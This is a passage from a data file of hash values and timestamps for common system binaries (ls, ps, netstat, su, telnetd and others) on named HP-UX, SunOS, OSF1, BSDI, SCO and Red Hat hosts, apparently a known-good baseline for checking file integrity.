/bin/rpcinfo [HP-UX 10.20 sluggo] +1C6E776AB0A1D88B28F914F7719CFE6A611C09BA Mon Jun 10 03:00:00 1996 /bin/sh [HP-UX 10.20 sluggo] +8C39B7AA64C835635160F127A83E4C12BBE894F0 Mon Jun 10 03:00:00 1996 /bin/su [HP-UX 10.20 sluggo] +FB9AE1026B1E171A372B0B61D1D1EE52D0F971D9 Mon Jun 10 03:00:00 1996 /bin/sum [HP-UX 10.20 sluggo] +03E70FAB3C03577EF01A4A1F1847166B2ADD8A3A Mon Jun 10 03:00:00 1996 /bin/tar [HP-UX 10.20 sluggo] +3C0AE09CC36DA3925CCB6FB373BC2A7BB6184BF2 Fri Jun 7 03:00:00 1996 /bin/telnet [HP-UX 10.20 sluggo] +9049C8A59E43ABCF7C8B6ABB71B997156F6C6A9A Mon Jun 10 03:00:00 1996 /bin/uncompress [HP-UX 10.20 sluggo] +86A525A19852280575FBAA38AF30C194DF87CC9C Mon Jun 10 03:00:00 1996 /bin/w [HP-UX 10.20 sluggo] +AB9AE83701CFA9F516100010B7B9BE4E81246D41 Mon Jun 10 03:00:00 1996 /bin/who [HP-UX 10.20 sluggo] +79B92217039E1B3F6B8EA538EA90D4A727EF1C3E Mon Jun 10 03:00:00 1996 /usr/sbin/arp [HP-UX 10.20 sluggo] +17ED2A784F457ECD632DBA2A6CB13CDF42826521 Fri Jun 7 03:00:00 1996 /usr/sbin/inetd [HP-UX 10.20 sluggo] +7BD5ACB77D64B0EEC713898BB66081C5F61701E9 Fri Dec 15 15:39:29 2000 /usr/lbin/ftpd [HP-UX 10.20 sluggo] +324B6C6FA074760AB7E2D8FE34E6B08DF255B36D Fri Jun 7 03:00:00 1996 /usr/lbin/rlogind [HP-UX 10.20 sluggo] +A24536FA58DA521396CDBBA09A5BB244F691448F Fri Jun 7 03:00:00 1996 /usr/lbin/telnetd [HP-UX 10.20 sluggo] +D30E03B7FB5CDCFED0A48E0CA80D74C5CB3ADE9B Fri Jun 7 03:00:00 1996 /usr/lbin/remshd [HP-UX 10.20 sluggo] +4188D12C95C72F8337779D520FCB5908A0836C4E Mon Jun 10 03:00:00 1996 /usr/bin/ps [HP-UX 10.20 sluggo] +DAC19A8E3FE1AD82F13D95EF6426390C8550F045 Mon Jun 10 03:00:00 1996 /usr/sbin/fuser [HP-UX 10.20 sluggo] + +6A90F691EB42654B0D3DF48D1E30B8A8C9E2F98A Wed Jul 16 02:19:52 1997 /bin/find [SunOS liz 5.6] +766B40FB44E00FB5624819507F8C203CA2E28CF6 Wed Jul 16 02:38:54 1997 /bin/ls [SunOS liz 5.6] +E42E65E661EB181C9BCE6B3AA64A759AA6C339D3 Wed Jul 16 02:15:41 1997 /bin/netstat [SunOS liz 5.6] +38E9937B4E21BB8AE271E4E042ED8E07BC9C566E Wed Jul 16 02:45:05 1997 /bin/ps [SunOS liz 5.6] +023CCCC593B91A5CE8DAB967A2157B019CE71D79 Wed Jul 16 02:46:20 1997 /bin/rm [SunOS liz 5.6] +BEB845B50DAD860C66E9317DE2C20FEDA91789B7 Wed Jul 16 02:51:03 1997 /bin/sh [SunOS liz 5.6] +ABBB2136F3F6D180C6A12C99C76543FB56DD9877 Wed Jul 16 02:51:54 1997 /bin/su [SunOS liz 5.6] +46A0EAA492CFA3A270E8DB032CB1DB524A4953E3 Wed Jul 16 02:15:48 1997 /bin/telnet [SunOS liz 5.6] +EB81A0146C70C5893AA99A126A1CFD8EC0F907B6 Wed Jul 16 03:05:05 1997 /bin/w [SunOS liz 5.6] +6A90F691EB42654B0D3DF48D1E30B8A8C9E2F98A Wed Jul 16 02:19:52 1997 /usr/bin/find [SunOS liz 5.6] +46A0EAA492CFA3A270E8DB032CB1DB524A4953E3 Wed Jul 16 02:15:48 1997 /usr/bin/telnet [SunOS liz 5.6] +76B07A06F8D7A2BA548D611946B8CBCFF74A4361 Wed Jul 16 02:12:42 1997 /usr/sbin/arp [SunOS liz 5.6] +347692CBAB9A7E66E041CEB2847ED67AEF34AC72 Wed Jul 16 02:16:11 1997 /usr/sbin/in.ftpd [SunOS liz 5.6] +B7144D00D793A1F5BB9575EE036D746D49804C67 Wed Jul 16 02:12:45 1997 /usr/sbin/in.tftpd [SunOS liz 5.6] +F5384EB7F450FE27C82A22173C2DE2F9FA70D722 Wed Jul 16 02:12:46 1997 /usr/sbin/inetd [SunOS liz 5.6] +CDCE43014591AA596B361D837B8BA74BA4550798 Wed Jul 16 02:40:35 1997 /usr/sbin/modinfo [SunOS liz 5.6] +ED70FE961C8F9E388FF8785A451014AF06E21CD7 Wed Jul 16 02:40:35 1997 /usr/sbin/modload [SunOS liz 5.6] +0A5E8F593C27A84A55B8B4BEDBF0EB02EBC767F0 Wed Jul 16 02:12:44 1997 /usr/sbin/in.rlogind [SunOS liz 5.6] +BFCD3F602980F9D59DF4BD11E518E7754A2F8D93 Wed Jul 16 02:12:44 1997 /usr/sbin/in.rshd [SunOS liz 5.6] +AE9B6BA52200A92F65C574504F669CBD7B66780D Wed Jul 16 02:12:45 1997 /usr/sbin/in.telnetd [SunOS liz 5.6] +40841F45CA08BFA3DE7FAB46076BF1916D7DBDA6 Wed Jul 16 03:18:30 1997 /usr/ucb/ps [SunOS liz 5.6] +0A26FA2037519386665FBC963154350C07C6998D Wed Jul 16 02:27:29 1997 /usr/sbin/fuser [SunOS liz 5.6] + +7BC0F778913B3787F38B616F2BF5D0F8CD0F138F Tue Oct 6 03:43:56 1998 /bin/find [SunOS tigger 5.7] +6AF4EEADB0A722846D50C263BCD152CABDF142F2 Tue Oct 6 03:47:59 1998 /bin/ls [SunOS tigger 5.7] +1F8A9CD40AF7AFBBF95A3CBAB29EFE8990DDEEC6 Tue Oct 6 04:13:06 1998 /bin/netstat [SunOS tigger 5.7] +4175A3D0C0BEAA522E626E12FAA39216B4BF9D91 Tue Oct 6 03:59:54 1998 /bin/rm [SunOS tigger 5.7] +5283DEF89FB14DB1FE796B01396F44177B05169B Tue Oct 6 04:07:40 1998 /bin/sh [SunOS tigger 5.7] +3F25BD06129BEAF400FE14AE39F711B9A1F6E464 Tue Oct 6 04:08:02 1998 /bin/su [SunOS tigger 5.7] +4E136BD3D91FF3AE6AFC6681350674BE23E1C553 Tue Oct 6 04:13:14 1998 /bin/telnet [SunOS tigger 5.7] +E1338A005915CE99918EB564347915C584869E15 Tue Oct 6 03:41:27 1998 /bin/w,ps [SunOS tigger 5.7] +7BC0F778913B3787F38B616F2BF5D0F8CD0F138F Tue Oct 6 03:43:56 1998 /usr/bin/find [SunOS tigger 5.7] +4E136BD3D91FF3AE6AFC6681350674BE23E1C553 Tue Oct 6 04:13:14 1998 /usr/bin/telnet [SunOS tigger 5.7] +96F3D66817964920ABCF7B023B5BF6C315EB8169 Tue Oct 6 04:03:35 1998 /usr/sbin/arp [SunOS tigger 5.7] +12C37E1C73C2B2AFB726D6D9F6F5E66F1426D147 Tue Sep 1 07:44:53 1998 /usr/sbin/in.ftpd [SunOS tigger 5.7] +EE9078680D99511C912426ECEDD7E8B543C10898 Tue Oct 6 04:03:46 1998 /usr/sbin/in.tftpd [SunOS tigger 5.7] +BD90A8D50D77A546409E026AB6077EB06A5F82FB Tue Oct 6 04:03:47 1998 /usr/sbin/inetd [SunOS tigger 5.7] +DD3802C41F0509DA6E86AFC44CCB6C82037B336D Tue Oct 6 03:57:10 1998 /usr/sbin/modinfo [SunOS tigger 5.7] +D80ED1C7716CA9449BCD36B004C7871818B51477 Tue Oct 6 03:57:12 1998 /usr/sbin/modload [SunOS tigger 5.7] +8C0B5B5E2751BC9D6411CFDC3BD9DD7B17972465 Tue Oct 6 04:03:44 1998 /usr/sbin/in.rlogind [SunOS tigger 5.7] +DFA727842D0E02886B3DFBF12AF853762F2B57BB Tue Oct 6 04:03:46 1998 /usr/sbin/in.telnetd [SunOS tigger 5.7] +39687F88E2E70E2DDC2ABF7338B0B351646746EE Tue Oct 6 04:03:44 1998 /usr/sbin/in.rshd [SunOS tigger 5.7] +FBBE4EBD73C0A55CDE00F249CC43868535AED794 Tue Oct 6 03:44:06 1998 /usr/sbin/fuser [SunOS tigger 5.7] + +28D0299C250502D99D7166E8B0D8AC6F5F62B1C1 Wed Jan 5 17:33:32 2000 /bin/find [SunOS rocky 5.8] +BC05E191393FF3DE43C918305243CF72053A5E55 Wed Jan 5 17:42:01 2000 /bin/ls [SunOS rocky 5.8] +709F15F7A7E7A59FB93319D395851BD5C2062DEB Wed Jan 5 17:27:14 2000 /bin/netstat [SunOS rocky 5.8] +D8FC4B3362DF0BCCC368B43308A735B27F9B504D Wed Jan 5 17:18:38 2000 /bin/ps and w [SunOS rocky 5.8] +52BF4E060C8CDD8E087B1EAF89A94F094EAC2FCE Wed Jan 5 17:49:09 2000 /bin/rm [SunOS rocky 5.8] +40ADA1A681BE64334211417682EB0FF98D94236C Wed Jan 5 17:50:55 2000 /bin/sh [SunOS rocky 5.8] +A82CD9D56DD72BD7124B60646E3607486776DD36 Wed Mar 8 18:49:02 2000 /bin/su [SunOS rocky 5.8] +28D0299C250502D99D7166E8B0D8AC6F5F62B1C1 Wed Jan 5 17:33:32 2000 /usr/bin/find [SunOS rocky 5.8] +37D0E4C5DB6B18389E5A0190D0605C1BB47F1468 Wed Jan 5 17:27:18 2000 /bin/telnet [SunOS rocky 5.8] +9B2BF671F5C2C8E1380710AF72AD8FE9DCFBB367 Wed Jan 5 17:27:48 2000 /usr/sbin/arp [SunOS rocky 5.8] +5AD2544A0EB6650EE2A310758550DA25C51C2ACE Wed Jan 5 17:23:01 2000 /usr/sbin/in.ftpd [SunOS rocky 5.8] +2D48336ED397AB4F47E645FCDB681072E08F2809 Wed Jan 5 17:27:54 2000 /usr/sbin/in.tftpd [SunOS rocky 5.8] +89259DF3C46B3A9A9DAC81ADD6AA55C8F9DDC0D6 Wed Jan 5 17:27:51 2000 /usr/sbin/inetd [SunOS rocky 5.8] +35B2681EC786A8C70B99AF1A734510DEC3D37A68 Wed Jan 5 17:45:43 2000 /usr/sbin/modinfo [SunOS rocky 5.8] +AB8BBFD58329263876EBD8FFF2548F2A7C61439A Wed Jan 5 17:45:43 2000 /usr/sbin/modload [SunOS rocky 5.8] +50AC0E8791D2948B9A51383BAD48F7A74C12CFA3 Wed Jan 5 17:27:50 2000 /usr/sbin/in.rlogind [SunOS rocky 5.8] +40EF0BE178A676D41F1C07C2C99EEFD1D1BD4FD1 Thu Mar 9 20:22:57 2000 /usr/sbin/in.rshd [SunOS rocky 5.8] +82637DE3EE265BB7C88E62DA0086A64A2A3A171F Wed Jan 5 17:27:51 2000 /usr/sbin/in.telnetd [SunOS rocky 5.8] +36BF651D75B1F95628EC7470E2E6511D90B6F2C9 Fri Jul 16 10:00:38 1999 /bin/ls [BSDI/OS 4.0.1 bsdbert] +1FD0FBADACA44758067C9E0166D309BBBBDF7B0C Fri Jun 12 12:46:23 1998 /bin/ps [BSDI/OS 4.0.1 bsdbert] +79817B2BB0EF02D95A93782D70658C24DD2D7584 Fri Jun 12 12:46:24 1998 /bin/rm [BSDI/OS 4.0.1 bsdbert] +E8E029B7A6041B76984E152CF23836999B3BBAF5 Fri Jul 16 09:57:05 1999 /bin/sh [BSDI/OS 4.0.1 bsdbert] +BF5E3271B806461A7E79952E13B2CACC194AE5D3 Fri Jun 12 12:49:15 1998 /usr/bin/find [BSDI/OS 4.0.1 bsdbert] +89BA9713CB440C4827D72853338EDB4EFA7CEE32 Mon Jun 15 17:50:39 1998 /usr/bin/telnet [BSDI/OS 4.0.1 bsdbert] +0387E6946CB5D8F729DFC0DD7230365E052486CE Fri Jun 12 12:51:11 1998 /usr/bin/w [BSDI/OS 4.0.1 bsdbert] +A27DDE817C212FE13CECE330115BF6E2239E31B5 Fri Jun 12 12:51:36 1998 /usr/sbin/arp [BSDI/OS 4.0.1 bsdbert] +BB6ECDB06E284AA74F08A0BC61F3BA655F25F847 Thu Jul 23 15:45:42 1998 /usr/sbin/netstat [BSDI/OS 4.0.1 bsdbert] +DBCA3883C0C3E40F5005874C3747D9515D55FB71 Mon Jun 15 17:50:38 1998 /usr/libexec/rlogind [BSDI/OS 4.0.1 bsdbert] +5645E69B52BCB778E97535E1538B7540A8EA045E Mon Jun 15 17:50:38 1998 /usr/libexec/rshd [BSDI/OS 4.0.1 bsdbert] + +E21A09257B30D4F7F657AB0B87D6F74D2D1DC902 Mon Apr 12 12:40:49 1999 /sbin/arp [OSF1 dorothy V4F] +83CA45FEF28737BF4E13327C4CE2EE407689363E Mon Apr 12 13:08:14 1999 /usr/sbin/tftpd [OSF1 dorothy V4F] +C5798CC3016702E93F31E88CF528FC6F78265118 Fri Nov 13 13:20:12 1998 /bin/find [OSF1 elbonia V4.0] +E47C4542EEEB0111D13D0C323330CB766414E34C Fri Nov 13 13:26:10 1998 /bin/ls [OSF1 elbonia V4.0] +F7B5D79BD81AAF9B0506C2E84AF75B7EB146AA2B Fri Nov 13 13:13:28 1998 /bin/ps [OSF1 elbonia V4.0] +BAF9F6E86EAADABEB300E9BDFF097D57EB70D6C4 Fri Nov 13 13:35:17 1998 /bin/rm [OSF1 elbonia V4.0] +81D91794D9CEFC23B056FA84715D93B90B0086D9 Fri Nov 13 13:37:19 1998 /bin/sh [OSF1 elbonia V4.0] +10AB656CF7B341E9996578E7A8222D007852C942 Fri Nov 13 13:13:31 1998 /bin/su [OSF1 elbonia V4.0] +9BBC6847B878232AB01229229BC4AFE4F10E9982 Fri Nov 13 13:38:45 1998 /bin/telnet [OSF1 elbonia V4.0] +37C47A547006F3F4C2D07550E368B03261D766B0 Fri Nov 13 13:13:42 1998 /bin/w [OSF1 elbonia V4.0] +67C60DADCB8370E20287E07E4950C77397C1A786 Fri Nov 13 13:17:02 1998 /sbin/arp [OSF1 elbonia V4.0] +C5798CC3016702E93F31E88CF528FC6F78265118 Fri Nov 13 13:20:12 1998 /usr/bin/find [OSF1 elbonia V4.0] +9BBC6847B878232AB01229229BC4AFE4F10E9982 Fri Nov 13 13:38:45 1998 /usr/bin/telnet [OSF1 elbonia V4.0] +37C47A547006F3F4C2D07550E368B03261D766B0 Fri Nov 13 13:13:42 1998 /usr/bin/w [OSF1 elbonia V4.0] +8705DE115FF3218B08F136508009136096DE6237 Fri Nov 13 13:10:53 1998 /usr/sbin/arp [OSF1 elbonia V4.0] +C00B6A7D0084DA3C48BC6E1E9536116D2C561931 Fri Nov 13 13:22:32 1998 /usr/sbin/ftpd [OSF1 elbonia V4.0] +D803E85C6B1A2A16BBDF5F384A053CF15B6BB766 Fri Nov 13 13:42:27 1998 /usr/sbin/tftpd [OSF1 elbonia V4.0] +23088FA8B0EB95B26966A36126B338783C3F22B0 Fri Nov 13 13:30:25 1998 /usr/sbin/inetd [OSF1 elbonia V4.0] +479BF85E706F9378F8630720C6FBDB2C23F350EF Fri Nov 13 13:32:50 1998 /usr/sbin/netstat [OSF1 elbonia V4.0] +1F75AD19CC0F09FB8859C783EC5896F816E9DDE2 Fri Nov 13 13:35:41 1998 /usr/sbin/rlogind [OSF1 elbonia V4.0] +E78201EA8A55286BB65FC1D61EE17865DB79AE97 Fri Nov 13 13:14:42 1998 /usr/sbin/rshd [OSF1 elbonia V4.0] +D47E7D0B76ABFE2C23D4CF073A2509D16BBB2961 Fri Nov 13 13:42:25 1998 /usr/sbin/telnetd [OSF1 elbonia V4.0] +F7B5D79BD81AAF9B0506C2E84AF75B7EB146AA2B Fri Nov 13 13:13:28 1998 /usr/ucb/ps [OSF1 elbonia V4.0] +2E1F2F2B73E0380F8620B8214F8FCCFBADDB6E05 Mon Apr 12 12:49:32 1999 /usr/sbin/fuser [OSF1 elbonia V4.0] + +1CDD96F55DFACE193BBC54158ECF888E36711DFC Mon Mar 4 18:13:39 2002 /usr/sbin/arp [SunOS sage 5.6] +7E904F7D65A7A5665A825958F2E89898ED6A8604 Mon Mar 4 18:13:10 2002 /usr/sbin/in.ftpd [SunOS sage 5.6] +0CB07684F71FEEE391F97B901042C94AF4A9B1B4 Mon Mar 4 18:13:30 2002 /usr/sbin/in.tftpd [SunOS sage 5.6] +77AA5AE784AE0E1C5F2FF066FFF52AFF5378D5D0 Mon Mar 4 18:13:08 2002 /usr/sbin/in.telnetd [SunOS sage 5.6] +11426F2642B725679B4A6E0D939A1356419BD7AE Mon Mar 4 18:13:43 2002 /bin/sh [SunOS sage 5.6] + +886FD53B3A9FD590A6EF66AB4E2D496880E2F652 Wed Jul 16 00:27:29 1997 /usr/sbin/in.telnetd [SunOS theora 5.6] + +F9D0868F26E92F423AF3BC7A9B6A541C14D5FCE6 Fri May 26 07:32:29 2000 /bin/sh [SunOS greenbay 5.8] +CF3B96CF2463D9C8F1244F1F6FF2E1F9713FFD84 Fri Sep 29 11:03:40 2000 /usr/sbin/in.tftpd [SunOS greenbay 5.8] +CCD24506AD20AE9AC2DB759583E6BE0C9CFE9C25 Mon Jul 10 07:22:22 2000 /usr/sbin/in.rshd [SunOS greenbay 5.8] +809B9C3D4FF32FAD37EDC4399240D60F9AE66B9D Thu Nov 23 07:30:55 2000 /usr/sbin/in.telnetd [SunOS greenbay 5.8] + +4C198976237B75980830A4495E4698F9B07D3140 Fri Jul 27 17:11:44 2001 /bin/find [SunOS albany 5.8] +629BEF047F3A3FA0FD53E5AA9B491AE544D890AC Wed Apr 18 09:43:36 2001 /bin/netstat [SunOS albany 5.8] +885578DA7EA3C189DC448F0CC9C9986A23F83C55 Tue Apr 3 07:43:27 2001 /bin/sh [SunOS albany 5.8] +4148C4CB2404A68E51B27761BADC9886B27606FA Fri May 11 09:46:03 2001 /bin/su [SunOS albany 5.8] +4C198976237B75980830A4495E4698F9B07D3140 Fri Jul 27 17:11:44 2001 /usr/bin/find [SunOS albany 5.8] +05E8E6B62BD75075E2FE015C16EFD4C6E05C62D4 Wed Jun 27 10:29:22 2001 /usr/sbin/in.ftpd [SunOS albany 5.8] +A9E02A2A7EE8950BDCEF0C632E93868EAC3A2B22 Tue Jul 10 16:19:54 2001 /usr/sbin/in.tftpd [SunOS albany 5.8] +44F5784576297315406AAB113D2A912DB69D47D8 Wed Jun 27 10:29:23 2001 /usr/sbin/inetd [SunOS albany 5.8] +83DBE6D40FBEE4A0C18822FFB4D3E0DB14BD832B Thu May 24 19:55:57 2001 /usr/sbin/in.rshd [SunOS albany 5.8] + +6B9C48692925D9D9C27D353FC837E2AB5C6B14C3 Fri Jun 14 17:10:10 2002 /bin/netstat [SunOS chicago 5.8] +B000D121FF3B95DB7D4E05EEC23DA3EA1A2D894C Fri Jun 14 17:09:28 2002 /bin/sh [SunOS chicago 5.8] +567ABE874BCC42326B8913F1587303A50C5EC639 Fri Jun 14 17:09:42 2002 /usr/sbin/in.ftpd [SunOS chicago 5.8] +B0F7E0BB22BEBED1A938D46F1F4F8066E9122A00 Fri Jun 14 17:09:44 2002 /usr/sbin/in.telnetd [SunOS chicago 5.8] + +FE5461CB281DA379402E3976E36552C4FB4C3BDD Wed Jan 5 19:02:02 2000 /usr/sbin/in.tftpd [SunOS fester 5.8] + +836678406B7E220E9D48B0761C78FD38BDC22608 Wed Jan 24 10:35:59 2001 /bin/find [SunOS nyc 5.8] +836678406B7E220E9D48B0761C78FD38BDC22608 Wed Jan 24 10:35:59 2001 /usr/bin/find [SunOS nyc 5.8] +6EBF74235E355F63CADFDC24CE7FEEB28247038E Wed Apr 18 09:39:44 2001 /usr/sbin/in.tftpd [SunOS nyc 5.8] +58A135BA4E11B95AC9968594C8958F73D9243B4F Wed Jan 5 18:54:20 2000 /usr/sbin/fuser [SunOS nyc 5.8] + +A8BB879795DAFB586BBCEBD0E7B912F04C18A57B Sat Apr 6 17:48:57 2002 /bin/find [SunOS atlanta 5.9] +1A673964A1FB5CF2B1D84AFE2B27FE013128F471 Sat Apr 6 17:54:41 2002 /bin/ls [SunOS atlanta 5.9] +6C1CF41D718B8AB0EC27A936801C43DFA1482152 Sat Apr 6 17:58:29 2002 /bin/netstat [SunOS atlanta 5.9] +66A9045D462F58831F3564BCF14632740A0A076F Sat Apr 6 17:44:19 2002 /bin/ps [SunOS atlanta 5.9] +EE3A717069E5FD5C01990B49B85D683AA48CAB06 Sat Apr 6 18:02:58 2002 /bin/rm [SunOS atlanta 5.9] +352C2BC03D0E180B5538A3810A3BCC7BAC1700DD Sat Apr 6 18:04:53 2002 /bin/sh [SunOS atlanta 5.9] +970A76FEB3925E9A129EA499041F59CA9244E8C0 Sat Apr 6 18:08:47 2002 /bin/su [SunOS atlanta 5.9] +EBC62CAB43296D86F37449DFE2B9A6D29282904A Sat Apr 6 17:48:18 2002 /usr/sbin/fuser [SunOS atlanta 5.9] +CB8FEA1A6A38922841571780CEACBC05B5D4802C Sat Apr 6 17:58:41 2002 /bin/telnet [SunOS atlanta 5.9] +66A9045D462F58831F3564BCF14632740A0A076F Sat Apr 6 17:44:19 2002 /bin/w [SunOS atlanta 5.9] +A8BB879795DAFB586BBCEBD0E7B912F04C18A57B Sat Apr 6 17:48:57 2002 /usr/bin/find [SunOS atlanta 5.9] +CB8FEA1A6A38922841571780CEACBC05B5D4802C Sat Apr 6 17:58:41 2002 /usr/bin/telnet [SunOS atlanta 5.9] +66A9045D462F58831F3564BCF14632740A0A076F Sat Apr 6 17:44:19 2002 /usr/bin/w [SunOS atlanta 5.9] +DF28FD75A6532DCBCD8DDBE877D0AF5C9E9EFF63 Sat Apr 6 18:02:03 2002 /usr/sbin/arp [SunOS atlanta 5.9] +B980CD2E38546398C843D86BF66C2481A2221877 Sat Apr 6 17:54:08 2002 /usr/sbin/in.ftpd [SunOS atlanta 5.9] +DF6C3534BDD06BF05F97F96052FA3C028DBA3994 Sat Apr 6 18:02:05 2002 /usr/sbin/in.tftpd [SunOS atlanta 5.9] +28DB8468FB106B8BBE1417363E6B4E3D68E9BC5D Sat Apr 6 18:02:07 2002 /usr/sbin/inetd [SunOS atlanta 5.9] +73BB4F4846509485F607E386F67C350AD4F1F56A Sat Apr 6 17:59:18 2002 /usr/sbin/modinfo [SunOS atlanta 5.9] +7C9F432983E555A6D94B6E4C881382B6F4EB64CD Sat Apr 6 17:59:18 2002 /usr/sbin/modload [SunOS atlanta 5.9] +C56F593FD203F555457ED5415CAD63F366CCE907 Sat Apr 6 18:02:06 2002 /usr/sbin/in.rlogind [SunOS atlanta 5.9] +701B8C2B5E1BEDAC520C2DE5C5103FFD416B08C7 Sat Apr 6 18:02:06 2002 /usr/sbin/in.rshd [SunOS atlanta 5.9] +9C375794E82EAE38ED79F9BC903F1F16D709E370 Sat Apr 6 18:02:07 2002 /usr/sbin/in.telnetd [SunOS atlanta 5.9] +66A9045D462F58831F3564BCF14632740A0A076F Sat Apr 6 17:44:19 2002 /usr/ucb/ps [SunOS atlanta 5.9] + +EB33458900D341D29E95DC2D17B70CFC0271C8D8 Thu May 23 16:32:30 2002 /bin/netstat [SunOS sunul101 5.9 Generic_112233-12] +6A888BDD71C23CF15F5E9AD740E99FD03AD1F5AB Tue Nov 4 16:59:32 2003 /bin/ps [SunOS sunul101 5.9 Generic_112233-12] +6A888BDD71C23CF15F5E9AD740E99FD03AD1F5AB Tue Nov 4 16:59:32 2003 /bin/w [SunOS sunul101 5.9 Generic_112233-12] +6A888BDD71C23CF15F5E9AD740E99FD03AD1F5AB Tue Nov 4 16:59:32 2003 /usr/bin/w [SunOS sunul101 5.9 Generic_112233-12] +CB2FBAEAE55EA103DFDF674F668F41B6AAFA364B Thu Oct 9 22:25:09 2003 /usr/sbin/in.ftpd [SunOS sunul101 5.9 Generic_112233-12] +883081457D2715E79A1AED2711DBDFCF631AADC0 Mon Dec 9 15:55:56 2002 /usr/sbin/in.tftpd [SunOS sunul101 5.9 Generic_112233-12] +681DB0EBB8B2334E3E101A646246905CC34DADBD Mon Sep 16 16:10:48 2002 /usr/sbin/inetd [SunOS sunul101 5.9 Generic_112233-12] +AD7825E32D3B71C9A0D1704DDE0FAE730228DE45 Wed Mar 5 23:37:19 2003 /usr/sbin/in.telnetd [SunOS sunul101 5.9 Generic_112233-12] +6A888BDD71C23CF15F5E9AD740E99FD03AD1F5AB Tue Nov 4 16:59:32 2003 /usr/ucb/ps [SunOS sunul101 5.9 Generic_112233-12] + +16C116A4DBF61DAE76006FD3A81C3DC01BF06F3B Tue May 13 07:46:35 1997 /bin/find [SCO_SV scobert 3.2] +7FFFA5B49C6DD2E8C48A3394755D5C8CF1F41A61 Tue May 13 07:46:52 1997 /bin/ls [SCO_SV scobert 3.2] +75C1D5C741393A18631FD7927A60F743041EB601 Wed Nov 10 12:06:38 1999 /bin/ps [SCO_SV scobert 3.2] +0D05F5E7C24A37E8A43E7720996F21B352EAE12A Tue May 13 07:47:13 1997 /bin/rm [SCO_SV scobert 3.2] +C1375DA321FD95F464E04A3AEC3326B0CF1F5E61 Tue May 13 07:47:22 1997 /bin/sh [SCO_SV scobert 3.2] +C9F5F85824232FC85A211576771E34C74970D7B8 Tue May 13 07:47:27 1997 /bin/su [SCO_SV scobert 3.2] +C5370EE3B655307F14E0D26704BC283859FB08EC Tue Nov 9 15:08:27 1999 /usr/bin/telnet [SCO_SV scobert 3.2] +B90CB5CAEA9026A63E257D592248112854ACCC08 Tue Nov 9 14:59:25 1999 /usr/bin/w [SCO_SV scobert 3.2] + +D7BA612AF743FD961887222AE78F0323E25A963B Tue Mar 23 21:34:26 1999 /bin/ls [Redhat 6.0 roo] +56A5245654A4450241E0FCF40ADF0DFE5FAD4156 Wed Mar 24 20:29:45 1999 /bin/netstat [Redhat 6.0 roo] +EC2101B202B36436EB4F380D7ED1FCFE8C4EAB1D Sat Apr 3 13:09:50 1999 /bin/ps [Redhat 6.0 roo] +357E59759EAC21C19058830B33E8CE03FF5C7724 Tue Mar 23 21:34:26 1999 /bin/rm [Redhat 6.0 roo] +99242C932FFFF89041D229F633D1A8297C7B720E Tue Apr 6 12:33:11 1999 /bin/sh [Redhat 6.0 roo] +4009DB94FCF748B212C69D974F03965FA2A9BA23 Tue Apr 13 14:58:38 1999 /bin/su [Redhat 6.0 roo] +B196E014254FC70027067DF8565605E41B8F5B7C Wed Mar 24 20:29:45 1999 /sbin/arp [Redhat 6.0 roo] +FFD090B44FCF4CCC4F5371DFF9AD47ACD4A52DD4 Mon Mar 29 17:05:00 1999 /usr/bin/find [Redhat 6.0 roo] +1683869B37C91E7A0D1400DAFE77B7C1D540CD43 Thu Apr 15 15:26:44 1999 /usr/bin/telnet [Redhat 6.0 roo] +7C49ED64D30CE1E7551A753B476BA310535EDE54 Sat Apr 3 13:09:49 1999 /usr/bin/w [Redhat 6.0 roo] +5A77F3548D04CB177A6536AC0C07706ED642FB71 Wed Apr 7 19:20:11 1999 /usr/sbin/in.tftpd [Redhat 6.0 roo] +6C3CC3390EE9C492CFDF2C357924AB0EB000DCE4 Thu Apr 15 18:48:52 1999 /usr/sbin/in.rlogind [Redhat 6.0 roo] +CBC5BA3D560056BCBC235AEF888053DC4878A9E4 Thu Apr 15 18:48:52 1999 /usr/sbin/in.rshd [Redhat 6.0 roo] +B16282769266853048753086F3AE31F21CC22D58 Thu Apr 15 15:26:44 1999 /usr/sbin/in.telnetd [Redhat 6.0 roo] + +D9621324B56739BAC328487988791E337A954331 Wed Jan 21 06:03:43 1998 /bin/find [HPUX 10.20 sluggo] +9B325A4A595CA7F7274DAD28A3D28B878072D7C2 Fri Jun 7 03:00:00 1996 /usr/lbin/ftpd [HPUX 10.20 sluggo] + +FF9DE6282DEACE8E8DFA2C25A675025A0007DE1E Tue Mar 7 20:42:52 2000 /bin/ls [RH6.2 hpw3] +DE52DFB3873CC4579AF6BE7C76FB90DE362831A3 Tue Mar 7 05:31:42 2000 /bin/netstat [RH6.2 hpw3] +62C8B2E4CCB9285CB9CB1F34ABB8152D202ADA61 Tue Mar 7 13:03:26 2000 /bin/ps [RH6.2 hpw3] +47013CD6E65C3B00F60086693C85857D96664B35 Tue Mar 7 20:42:52 2000 /bin/rm [RH6.2 hpw3] +E62009B52AED53DADE93096030E05B919FB68A22 Sun Feb 27 12:44:41 2000 /bin/sh [RH6.2 hpw3] +B1CFDD8E92FE403E9A18906322E81B4C814156AE Tue Mar 7 06:15:34 2000 /bin/su [RH6.2 hpw3] +4ED5EA2F35BE3433E1A2DAE1FD6DEFC5B8B8D23F Tue Mar 7 05:31:42 2000 /sbin/arp [RH6.2 hpw3] +76403C647FC3C6C9296E6203CDC0D64F0E90C430 Wed Feb 2 16:43:28 2000 /usr/bin/find [RH6.2 hpw3] +4FE94A3B6F112512E1F2184C8C51B33697523002 Tue Mar 7 05:36:57 2000 /usr/bin/telnet [RH6.2 hpw3] +377DD1475CF384FEA0BD1B084BE7C85BF195FA20 Tue Mar 7 13:03:26 2000 /usr/bin/w [RH6.2 hpw3] +A76C905C69ACBBD6D0C82CE2BC312FE06E0D23D6 Mon Feb 28 10:30:53 2000 /usr/sbin/in.ftpd [RH6.2 hpw3] +81854A1FC4E69927143E74EEFE1FF5FB69081B72 Thu Feb 24 13:41:20 2000 /usr/sbin/in.mtftpd [RH6.2 hpw3] +94F05BBAD14C30FC1C29BDE9E52143B3E158936E Fri Feb 11 17:39:37 2000 /usr/sbin/in.tftpd [RH6.2 hpw3] +A76C905C69ACBBD6D0C82CE2BC312FE06E0D23D6 Mon Feb 28 10:30:53 2000 /usr/sbin/in.wuftpd [RH6.2 hpw3] +A76C905C69ACBBD6D0C82CE2BC312FE06E0D23D6 Mon Feb 28 10:30:53 2000 /usr/sbin/wu.ftpd [RH6.2 hpw3] +D4BA75EA44175FDEF342BFC6289DD5F9A07D3AAA Mon Jan 31 16:57:24 2000 /usr/sbin/inetd [RH6.2 hpw3] +36BBF5E0EBEC7B1AF8236779739C48934C14004C Tue Mar 7 05:33:09 2000 /usr/sbin/in.rlogind 